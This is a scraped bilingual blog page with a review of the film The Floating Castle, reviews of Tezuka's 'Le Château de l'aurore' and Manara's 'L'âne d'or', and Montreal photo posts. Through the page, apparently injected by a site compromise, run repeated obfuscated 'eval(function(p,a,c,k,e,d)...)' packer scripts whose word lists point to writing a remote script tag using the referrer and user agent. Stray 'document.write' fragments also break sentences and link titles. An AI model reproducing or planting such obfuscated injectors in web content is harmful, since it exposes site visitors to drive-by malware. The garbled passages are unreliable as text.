http://www.flickr.com/photos/clodjee/9432879608/&quot; target="“new”" title="Vanille by clodjee, document.write(“”); on Flickr”>Vanille

L’image du mer-fleurie (2013-07-31)

Terre d’Espérance, document.write(“”); la 5e édition des Mosaïcultures Internationales au Jardin botanique de Montréal du 22 juin au 29 septembre 2013. “L’Homme qui plantait des arbres”, présentée par les Mosaïcultures Internationales de Montréal, photographiée le 18 juin avant l’ouverture officielle. Cette oeuvre se veut un hommage à Frédéric Back, qui a réalisé un film d’animation inspiré d’une nouvelle de Jean Giono, et représente l’action positive de l’homme sur son environnement, l’un des cinq sous-thèmes de la compétition.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|herfy|var|u0026u|referrer|ykyas||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|daskf|var|u0026u|referrer|ssffn||js|php’.split(‘|’),0,{}))

l'Homme qui plantait des arbres

The Floating Castle

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sdfhb|var|u0026u|referrer|ftykh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dseaz|var|u0026u|referrer|sizeh||js|php’.split(‘|’),0,{}))

“Japan’s long years of civil war are nearing a conclusion with Toyotomi Hideyoshi one short step away from finally uniting the land under his rule. He sends a huge army north against the Hojo clan, document.write(“”); his last enemy. The one stronghold he cannot take is Oshi Castle, a Hojo outpost in the land of Bushu. Called “the floating castle” because of the lake that surrounds it, it is under the command of Narita Nagachika, a popular leader known to the people of his domain, unflatteringly, as “nobou-sama”, from deku no bou, or “blockhead”. Under Hideyoshi’s order, General Ishida surrounds the castle with a force of 20,000 men. Nagachika, as his nickname suggests, is not much of a thinker, but he is a brave and obstinate leader. Against the overwhelming force of the Ishida army, the defenders of the valiant castle — no more than 500 men — unite with the common folk in stubborn resistance, refusing to retreat a single step, even when Ishida resorts to the extraordinary tactic of damming a river to flood them out. But, with victory in their grasp, outside events give the story a twist no one would have ever expected.” (from The Montreal World Film Festival program guide)


The release of the movie was delayed for a little more than a year because of the march 2011 T?hoku earthquake and tsunami. Obviously, the flooding tactic used by the Ishida army would have been a painful reminder of the tsunami tragedy. The producers thoughts for a moment to make a few changes to the movie in order to release it earlier, but they felt they couldn’t tamper with historical events.

The events retold in this movie are indeed largely accurate. In 1590, Toyotomi Hideyoshi undertook a last campaign in his effort to unify Japan. It was waged against the Late H?j? clan in the Kanto region, which was one of the last resistance to his authority. According to Mary Elizabeth Berry, H?j? Ujimasa had adopted a passive resistance strategy against Hideyoshi’s forces and withdrew most of his forces to Odawara Castle, which was defended by his son H?j? Ujinao. After a siege of several months, the H?j? surrendered. Hideyoshi gave the eight Kanto provinces to Tokugawa Ieyasu in exchange for his submission, thus unifying Japan under his rule and ending an era. During this campaign, Hideyoshi’s army had to laid siege to many castles of Kanto, including the Hachigata castle and the Oshi Castle. It is the siege of Oshi that is depicted in the movie. Despite his order to do otherwise, the lord of Oshi, Nagachika Narita, refused to surrender to Ishida Mitsunari (even after he dammed the river in an attempt to flood the castle) and hold the castle until the fall of Odawara was announced.

I really enjoyed this nice recreation of the era (particularly the sets and costumes). Of course, it might not be the best CGI I’ve seen but it’s good enough to well support the story. Usually, samurai movies offer drama with lots of angst, violence and sadness. It is quite rare to see a samurai comedy. Of course, contrary to western cinema, japanese movies are more complex and nuanced. So, in this movie, there is still lots of people dying (but not in a senseless manner), you still have fighting scenes, some suspense, but everything is done with a much lighter tone. All in all it is a good entertainment.

This is definitely one of my favourite at the 2012 Montreal Film Festival.

You can also read a variety of reviews (SBS Film, Screen Daily, Shomingekiblog and Variety) or view the trailer on Youtube:


You can also find on Youtube a 13-minute feature with behind-the-scene footage (in Japanese).

The Floating Castle (????? / Nobou no Shiro): Japan, 2012, 144 min.; Dir.: Shinji Higuchi & Isshin Inudo; Scr.: Ryo Wada (based on his own novel); Phot.: Shoji Ebara, Motonobu Kiyoku; Ed.: Soichi Ueno; Mus.: Koji Ueno; Prod. Design: Norihiro Isoda; Art dir.: Noriyuki Kondo; Cost. Des.: Akihiko Inamura, Kazuta Matsunaga, Mitsuru Otsuka; Prod.: Osamu Kubota, Shinji Ogawa; Prod. Co.: Asmik Ace Ent., IMJ Ent.; Distr.: Toho, Asmik Ace Ent.; Cast: Mana Ashida (Chidori), Nana Eikura (Kaihime), Takehiro Hira (Masaie Natsuka), Sei Hiraizumi (Yasusue Narita), Masachika Ichimura (Hideyoshi Toyotomi), Yusuke Kamiji (Mitsunari Ishida), Gin Maeda (Tahee), Takeo Nakahara (Hojo Ujimasa), Akiyoshi Nakao (Kazou), Hiroki Narimiya (Sakamaki), Isao Natsuyagi (monk), Masahiko Nishimura (Ujinaga Narita), Mansai Nomura (Nagachika Narita), Machiko Ono (Chiyo), Kôichi Satô (Tanba), Honami Suzuki (Tama), Takayuki Yamada (Yoshitsugu Otani), Tomomitsu Yamaguchi (Izumi). Official selection at the 2012 Tokyo International Film Festival and at the 2013 Udine Far East Film Festival. Winner of an Outstanding Achievement in Art Direction at the 2013 Japan Academy Prize. Film screened at the Montreal World Film Festival August 30th, 2012 (Cinema Quartier Latin 15).
For more information you can visit the following websites:
Available on DVD on these websites:
The Floating Castle © 2011 “The Floating Castle” Film Partners. All rights reserved.

[ Traduire ]

Le Château de l’aurore

“Grand amateur de l’Histoire de son pays, document.write(“”); Tezuka s’est souvent amusé à construire ses récits à partir d’épisodes marquants du passé, comme l’illustre ce Château de l’Aurore étincelant de fantaisie. Les intrigues politiques et le contexte historique font tout le sel de cette chronique palpitante située à l’époque de Hideyoshi Toyotomi (1536-1598), l’un des trois unificateurs du Japon féodal.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sihdf|var|u0026u|referrer|nyhae||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|edsnh|var|u0026u|referrer|nfhii||js|php’.split(‘|’),0,{}))

“Le puissant seigneur Muneharu Matsunoki se lance à la demande du shogun dans la construction d’un château de style «anglais». Malgré l’opposition des habitants, les travaux de l’extravagante bâtisse commencent. Mais le chantier devient le théâtre de mystérieux sabotages et des ombres inquiétantes rôdent bientôt dans le périmètre. Les liens familiaux et les rivalités de clans s’en mêlant, les passions s’exacerbent et la situation devient vite explosive. Déjà, c’est la guerre qui menace…”

“Cette œuvre réalisée au tout début des années 1960 témoigne de ce que les spécialistes japonais désignent comme «l’Âge d’or» d’Osamu Tezuka, période qui le voit s’affranchir de l’influence de Walt Disney et inventer les codes de la bande dessinée japonaise moderne. Le Château de l’Aurore n’est que l’un des nombreux joyaux méconnus dont regorge l’œuvre pléthorique de ce génie du 9e Art.” [ Texte tiré du blogue de l’éditeur ]

Continuez après le saut de page >>

Le Château de l’aurore (???? / Yoake Shiro) est un manga seinen écrit et illustré par celui qui est connu au Japon comme le “dieu du manga,” Osamu Tezuka. Prépubliée en feuilletons dans les magazines de l’éditeur Gakken Chûgaka Ichinen Course et Chûgaka Ninen Course (de septembre 1959 à mars 1961), l’histoire fut finalement compilée en un seul volume en mai 1961 par l’éditeur Suzuki. Il a été réédité en août 1978 par Kodansha, en juin 1997 et décembre 1998 par Sh?gakukan (deux différent formats), puis par Gakken en août 2003. La traduction française est paru chez Cornélius en mars 2008. Il a été nominé pour le prix jeunesse du Festival de bande-dessinée d’Angoulème en 2008.

Il est toujours difficile de parler d’un monument comme Osamu Tezuka (1928-1989). Considéré comme l’un des pères du manga (ou même un “dieu”), il a fortement contribué à établir les règles du genre, il a eut une influence énorme sur la culture japonaise et s’est révélé un mangaka versatile et extrêmement prolifique (il a produit environ sept-cent oeuvres soit plus de 150,000 pages!). Il est quasi impossible de vraiment exprimer l’importance qu’il a eut dans l’histoire du manga. On connait tous bien sûr des titres comme Astro Boy, Le Roi Léo ou Princesse Saphir mais ceux-ci ne sont qu’une goutte d’eau dans l’océan de sa production et cela même si on ne compte que la cinquantaine de titres traduit en français (dont plusieurs sont disponible en bibliothèques).

Ces titres qui nous viennent facilement à l’esprit donnent l’impression qu’il dessinait surtout pour les enfants (et son style simple et souvent caricatural renforce ce sentiment) alors que son oeuvre est pourtant très diversifié tant dans les genres (drame ou comédie, que ce soit fantastique, historique ou science-fiction) que dans les thèmes abordés (nature, technologie, médecine, politique, philosophie, religion, etc.). Il a produit de nombreux manga pour adultes, avec des histoires très sérieuses (ne serait-ce que L’Histoire des 3 Adolf, M.W. ou Kirihito), mais tout au long de son oeuvre (peu importe laquelle) il a toujours conservé la volonté d’être didactique et de promouvoir la connaissance ainsi qu’un profond humanisme (après tout il avait fait ses études en médecine).

Le Château de l’aurore est une oeuvre plutôt mineure de Tezuka. La plupart des ouvrages consacré au maître n’en parle même pas. C’est pourtant une oeuvre charnière mais qui demeure tout de même assez typique. Lorsqu’elle est publiée, Tezuka a trente-et-un ans mais cela fait déjà treize ans qu’il a publié sa première histoire, Maachan no Nikkich? (1946). Entre temps il a principalement produit Shin Takarajima (1947, son premier succès), Metropolis (1949), Le Roi Léo (1950), Captain Atom (1951-52, où Astro fait sa première apparition), Astro Boy (1952-68), Princesse Saphir (1953) et il a débuté les quatre premiers chapitres de Phénix (1954-57). Lorsqu’il débute Le Château de l’aurore (1959-61), il a finalement atteint sa maturité artistique et perfectionné un style qui lui est propre.

Le Château de l’aurore est un récit historique avec une touche de fantasy. C’est-à-dire que le contexte historique est véridique mais les personnages principaux et les lieux sont fictifs. Comme nous l’apprend la postface de la traductrice Nathalie Bougon, Tezuka a choisit de situer son récit dans “l’une des époques les plus fascinantes de l’histoire du Japon”: l’ère de Momoyama (1568-1603). Marquée par trois grands généraux, ce sera une période de transition entre l’ancien Japon féodal (l’époque Sengoku / Muromachi) et l’ère d’Edo. D’abord Nobunaga Oda entreprend l’unification du Japon. À sa mort, Hideyoshi Toyotomi lui succède et continue l’unification qui sera complétée en 1591 par l’alliance avec son adversaire d’antan, Ieyasu Tokugawa. Toutefois, à la mort de Toyotomi en 1598, Tokugawa s’oppose rapidement à la régence de son fils Hideyori et, après la fameuse bataille de Sekigahara en 1600, prend le contrôle du pays tout entier (quoique Hideyori ne sera complètement vaincu qu’en 1615 avec le siège et la destruction du château d’Osaka). Tokugawa instaure le Bakufu en 1603 et ce sera le début du shogunat Tokugawa, qui règnera sur un Japon unifié, pacifié et refermé sur lui-même jusqu’à la restauration Meiji en 1868.

Le récit débute avec un mystérieux personnage qui entre au château du seigneur Muneharu Matsunoki. Le fils du seigneur, Midori-maru, surprend son père en réunion avec celui-ci, qui se révèle être l’architecte Ugetsu-saï. On y apprend que le shogun Toyotomi, inquiet de mouvements de troupes dans le Kanto (possiblement une manigance de Tokugawa), a demandé au seigneur de faire construire en secret un château-fort sur ses terre. Cela devra être le plus beau château du monde, construit dans un style anglais pseudo-élisabethain (un peu comme le château de Disney). Le château doit être secrètement construit en surplomb d’une vallée qui appartient au domaine public et non au seigneur. Une jeune femme, O-tae, y construit une école pour jeune paysans pauvres. Midori-maru tente de la convaincre de quitter mais, lorsqu’il échoue, il fera tout son possible pour l’aider et la protéger.

La supervision de la construction du château est confié au maître d’armes To-no-suké Murasaki, mais les travaux sont constamment perturbés par le sabotages des espions de l’ennemi et des intrigues politiques. De plus, Yayoï–la fille du ministre, secrètement en amour avec Midori-maru–est jalouse de la relation de celui-ci avec O-tae et fera tout pour leur nuire. Lorsque les villageois sont expulsés de leur terres et que la maîtresse d’école est condamné à mort, Midori-maru sauve celle-ci et s’enfuit avec elle. Il se révolte contre son père en s’opposant à la poursuite travaux dont le coût humain est trop élevé. Le ministre est assassiné par un traitre déguisé en oni, mais Midori-maru, déguisé en ouvrier, le confronte et le blesse. Yayoï, avec l’aide de To-no-suké, sur qui elle a maintenant dévolu son affection, cherche désespérément à venger la mort de son père. Lorsqu’elle découvre que le traitre n’est nul autre que To-no-suké, elle se suicide. To-no-suké, rongé par le remort, se repent. Le château est finalement complété mais, à la mort de Toyotomi, le nouveau shogun Tokugawa assiège le château. Midori-maru revient pour aider son père, qui a décidé de saborder le château à l’aide d’explosifs. Mais, piégés, le père et le fils réconciliés meurent dans sa destruction–une fin où Tezuka veut sans aucun doute rappeler la destruction du château d’Osaka et la mort de Hideyori.

Le Château de l’aurore est un oeuvre plutôt typique de Tezuka. Son style y est très simple (trop pour certains) mais assez efficace. S’il commence vraiment à maîtriser son art, ce n’est pas encore parfait au niveau de la narration qui manque un peu de fluidité. Malgré le sérieux apparent du sujet, Tezuka laisse toujours une bonne place à l’humour. Un bon exemple est la scène où Midori-maru affronte To-no-suké, qui lui lance un bâton de dynamite dont il tranche la mèche de son sabre. “Bravo! Je vois que tu maîtrises l’art du sabre!” s’exclame To-no-suké. Midori-maru lui répond, “Et toi l’art du calunar! Je te rappelle que la dynamite n’existe pas à notre époque!”

Cornélius nous offre ici une publication d’excellente qualité (tant au niveau de l’impression que du choix du papier), notamment par la restauration des planches originales (par l’utilisation de différentes éditions ils ont pu ainsi recréer les trames de gris de façon à éviter un effet de moiré embarrassant). Ce n’est certes pas le meilleur manga de Tezuka mais c’est tout de même un ouvrage intéressant. Ce n’est pas une lecture indispensable mais si, comme moi, Tezuka vous intéresse je vous le suggère tout de même.

Extraits des pages 51 et 132
Un extrait de vingt-huit pages (en format PDF) est disponible sur le site de l’éditeur mais, comme ce site est programmé en Flash, il est impossible de vous y rediriger par un simple lien alors vous en trouverez une copie ici.

Le château de l’aurore, par Osamu Tezuka. Paris, Éditions Cornélius (Coll. Paul), mars 2008. 15 x 21 x 2 cm, 160 pg., 15.50 € / $26.95 Can. ISBN: 978-2-9154-9249-1. Sens de lecture Japonais. Recommandé pour jeunes adultes (14+).

Pour plus d’information vous pouvez consulter les sites suivants:

Le château de l’aurore © 2008 by Tezuka Productions. All rights reserved. Design & traduction © Cornélius 2008.

[ Translate ]

Paysages

Une photo d’arc-en-ciel (prise le 17 juillet à 20:20)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rknnb|var|u0026u|referrer|intbh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|easzs|var|u0026u|referrer|afhzk||js|php’.split(‘|’),0,{}))
<a href="
http://www.flickr.com/photos/clodjee/9385547933/&quot; target="“new”" title="Look: a rainbow! by clodjee, document.write(“”); on Flickr”>Look: a rainbow!Un superbe couché de soleil (pris le 22 juillet à 20:18)
Sunset in july
Vous pouvez voir d’autres photos de couchés de soleil sur mon album Flickr “Paysages” (prises le 22 juillet entre 19:59 et 20:54).

L’image du chat-medi (2013-07-27)

Une photo de Saya prise aujourd’hui à 13:11
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|isbsn|var|u0026u|referrer|afzzb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dkdya|var|u0026u|referrer|ddhai||js|php’.split(‘|’),0,{}))
<a href="
http://www.flickr.com/photos/clodjee/9388234882/&quot; target="“new”" title="Saya by clodjee, document.write(“”); on Flickr”>Saya

L’image du mer-fleurie (2013-07-24)

Terre d’Espérance, document.write(“”); la 5e édition des Mosaïcultures Internationales au Jardin botanique de Montréal du 22 juin au 29 septembre 2013. Dans le volet Interational, l’entrée de la ville de Shanghai (Chine), “Une histoire vraie!”, photographiée le 18 juin avant l’ouverture officielle. L’œuvre est inspirée d’une histoire vraie qui s’est déroulé dans la Réserve naturelle de Yancheng vers la fin des années 1980. Xu Xiu Juan, une jeune fille qui adorait les grues à tête rouge, a voulu sauver une grue blessée dans un marais au détriment de sa vie. Cette histoire a tellement touchée les Chinois qu’on en a fait une chanson.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|heszd|var|u0026u|referrer|dzitn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbzhh|var|u0026u|referrer|fyytb||js|php’.split(‘|’),0,{}))

Shanghai -- Une histoire vraie!

L’âne d’or par Milo Manara

La version érotique d’un classique de la littérature latine, document.write(“”); revu par l’un des maîtres de l’érotisme en bande dessinée.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hdbyt|var|u0026u|referrer|zaeai||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbnni|var|u0026u|referrer|zkzds||js|php’.split(‘|’),0,{}))

“Cet album propose le récit des péripéties du jeune Lucius, transformé en âne et soumis aux vicissitudes d’une vie d’errance. Brigands, sorcières et patriciennes aux mœurs légères se succèdent au fil de ce conte érotique sans tabous, tour à tour inquiétant et truculent. Inspiré de L’Ane d’Or d’Apulée, ce récit fait partie des œuvres marquantes de Milo Manara, au sommet de son art.” [ Texte du
site de l’éditeur ]

Continuez après le saut de page >>


J’ai déjà mentionné cette adaptation de Milo Manara quand j’ai commenté Les Métamorphoses ou l’âne d’or d’Apulée et je m’étais promis d’y jeter un oeil. Et bien c’est fait.

Milo Manara est un artiste de renom et de grand talent, qui se consacre surtout à la bande-dessinée érotique. Il n’est donc pas surprenant qu’il ait choisi d’illustrer l’oeuvre d’Apulée dont le sujet se prête très bien à l’érotisme. Il n’en est d’ailleurs pas à sa première adaptation (il a auparavant réalisé le Décaméron de Boccace, les Voyages de Gulliver de Jonathan Swift, Vénus et Salomé de Pierre Louÿs, ou même le Kama-Sutra). L’âne d’or n’est pas exempt d’influences, car certains décors (grosses têtes de statues en arrière-plan) ne sont pas sans rappeler le Satyricon de Fellini, un cinéaste qui l’a d’ailleurs souvent inspiré et avec qui il a parfois collaboré. L’âne d’or a d’abord été publié aux Humanoïdes Associés en 1999. Il a connu une second édition en 2007 sous le titre “Le Métamorphose de Lucius,” puis a été réédité en 2011 sous le titre original.

L’album nous raconte les mésaventures de Lucius qui voyage en Thessalie pour affaires. Arrivé à Hypata, il loge chez l’avare Milon dont la femme Pamphile est réputée magicienne. Il se rend aux bains où il rencontre son ancienne nourrice, Byrrhène, qui l’invite à une fête le lendemain. Il retourne chez Milon pour le repas et, le soir venu, la servante Photis le rejoins dans sa couche pour un accouplement torride (la seule véritable scène de sexe de l’album, qui pour le reste offre surtout beaucoup de nudité). Le lendemain, Lucius se rends à la fête que Byrrhène donne à l’occasion des Lupercales (célébrant la fécondité, bacchus et le dieu des rires). Le banquet dégénère en orgie et Lucius revient complètement ivre. Croyant voir des brigands dans la nuit, il les attaque de son glaive. On l’arrête et le juge pour avoir tué d’innocents citoyens mais finalement tout cela n’est qu’une supercherie pour se moquer de lui. De retour chez Milon, Lucius retrouve Photis qui a reçu une belle fessée, car on croit qu’elle a trahit les secrets de sa maîtresse (ici la raison de la fessé diffère du récit original). Lucius, curieux, espionne la sorcière avec l’aide de Photis. Il la voit s’enduire d’un onguent et se transformer en oiseau de nuit. Il désire faire de même mais se voit plutôt transformé en âne!

Ainsi débutent véritablement les tribulations de Lucius. Photis le cache dans l’écurie et il lui suffira de manger quelques roses fraîches au matin pour faire disparaitre le sortilège. Toutefois, des brigands dévalisent la villa de Milon durant la nuit et l’âne (Lucius) est réquisitionné pour porter le butin. Il s’échappe du repère des brigands avec une de leur captives mais ils sont recapturé. Toutefois, ils sont libéré par l’époux de celle-ci qui s’était secrètement joint au groupe. On le confit aux soins d’un jeune garçon qui se révèle très cruel et torture Lucius. Il s’échappe à nouveau mais se retrouve vendu aux enchères à une secte de Cybèle. Puis devient une bête de somme chez un meunier. Puis est acheté par un couple de patriciens qui le traite fort bien, mais dont la maîtresse s’offre à lui et, ne pouvant refuser, il la prends avec son gros phallus d’âne! (Ici Manara montre tout de même un certaine pudeur: s’il n’hésite pas à montrer le membre viril de Lucius lorsqu’il est avec Photis, les scènes de bestialité, elles, sont savamment cachée par les bulles!) Ayant prouvé sa valeur, il se retrouve à jouer l’époux d’une condamné dans un spectacle du cirque. Mais réalisant qu’ils seront tous deux livrés aux fauves, il s’enfui à nouveau. Il court jusqu’à la mer où il implore la miséricorde de Cerès (Isis). Celle-ci lui apparait et promet sa rédemption. Au matin, il rencontre une procession et le prêtre porte une couronne de roses. Il en mange et redevient enfin un homme!

Le récit de Manara est assez fidèle à l’histoire d’Apulée, non pas tant par son exactitude que par son esprit. En effet, Manara choisit judicieusement les scènes qu’il illustre, ne sélectionnant que celles qui sont le plus propice à son sujet préféré: l’érotisme. Il omet le récit des contes intercalaires (l’histoire de Thelyphron ainsi que celle d’Eros et Psyché) et quelques une des tribulations de Lucius (ou en altère certains événements). Toutes ces omissions et changements rendent le récit un peu saccadé et anecdotique. En fait, l’histoire que Manara nous raconte est une sorte de condensé de lecture (Reader’s digest) érotique!

Manara illustre son récit à l’encre (qu’il utilise aussi pour certaines textures et ombrages), qu’il colore ensuite à l’aquarelle avec une sélection limitée de couleurs qui s’approche presque de la bichromie. En effet, il n’utilise que des gris bleutés ou violet, des tons de brun ou de sépia et surtout la couleur chair, qui, en un merveilleux stratagème, se distingue particulièrement sur ce fond de couleurs délavées et discrètes. Les seules couleurs vives sont utilisées pour représenter un peu de sang (celui des flagellants de Cybèle) ou les dieux (rose et bleu pour Aurore, jaune pour Isis). Manara m’apparait au sommet de son talent et fait preuve d’une grande sensualité, non seulement dans la représentation de belles femmes, mais aussi dans l’illustration de la vie quotidienne à l’époque romaine.

Une très bonne bande-dessinée que je recommande tant pour son adaptation de ce classique de la littérature latine que pour son érotisme.

Extraits: pages 14 et 30; Attention: des scènes de nudité y sont représentées!
Un extrait comprenant les huit premières pages est aussi disponible sur le site de l’éditeur.

L’âne d’or, par Milo Manara. Paris, Les Humanoïdes Associés, janvier 2011. 24 x 32 x 1 cm, 56 pg., 18.99 € / $29.95 Can. ISBN: 978-2-7316-2318-5. Recommandé pour adultes (18+).

Cet album est également disponible en format digital (4.99 € aux Humanos, 5.99 € ou encore 2.49 € en location (10 jours) chez izneo.com).

Pour plus d’information vous pouvez consulter les sites suivants:

L’âne d’or © 2011 Les Humanoïdes Associés S.A.S., Paris.

[ Translate ]

L’image du chat-medi (2013-07-20)

Spotty dans le jardin
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|shbzh|var|u0026u|referrer|nsand||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hstsn|var|u0026u|referrer|rkskb||js|php’.split(‘|’),0,{}))
<a href="
http://www.flickr.com/photos/clodjee/9339715510/&quot; target="“new”" title="Spotty in the garden by clodjee, document.write(“”); on Flickr”>Spotty in the garden

Thermae Romae (E)

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
